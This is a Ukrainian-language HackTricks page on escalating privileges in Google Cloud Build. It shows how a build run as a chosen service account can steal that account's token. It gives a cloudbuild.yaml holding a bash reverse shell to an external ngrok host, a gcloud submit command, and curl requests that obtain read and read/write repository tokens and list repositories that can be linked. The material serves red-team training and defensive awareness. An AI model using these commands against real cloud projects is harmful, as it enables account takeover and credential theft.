GCP - Cloudbuild Privesc

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

cloudbuild

Для отримання додаткової інформації про Cloud Build перегляньте:

GCP - Cloud Build Enum

cloudbuild.builds.create, iam.serviceAccounts.actAs

Маючи цей дозвіл, ви можете ініціювати cloud build. На машині cloudbuild за замовчуванням у файловій системі буде token Service Account cloudbuild: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Проте ви можете вказати будь-який Service Account всередині проекту у конфігурації cloudbuild.
Отже, ви можете просто змусити машину exfiltrate на ваш сервер token або отримати всередині неї reverse shell і дістати token (файл, що містить token, може змінюватися).

Пряма експлуатація через gcloud CLI

1- Створіть cloudbuild.yaml і відредагуйте його, вказавши дані вашого listener

Налаштування Cloud Build YAML для reverse shell ```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```

2- Завантажте простий build без джерела: лише yaml-файл та вкажіть SA, який використовувати для build’у:

Надіслати Cloud Build з вказаним сервісним обліковим записом ```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects//serviceAccounts/@.iam.gserviceaccount.com ```

Використання python gcloud library

You can find the original exploit script here on GitHub (але місце, звідки він бере токен, у мене не спрацювало). Therefore, check a script to automate the creation, exploit and cleaning of a vuln environment here and a python script to get a reverse shell inside the cloudbuild machine and steal it here (in the code you can find how to specify other service accounts).

For a more in-depth explanation, visit https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.repositories.accessReadToken

З цим дозволом користувач може отримати read access token, який використовується для доступу до репозиторію:

Отримати read access token для репозиторію ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadToken" ```

cloudbuild.repositories.accessReadWriteToken

З цим дозволом користувач може отримати токен доступу для читання та запису, який використовується для доступу до репозиторію:

Отримати токен доступу для читання та запису для репозиторію ```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken" ```

cloudbuild.connections.fetchLinkableRepositories

З цим дозволом ви можете отримати репозиторії, до яких має доступ підключення:

Отримати репозиторії, які можна пов'язати ```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories" ```

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks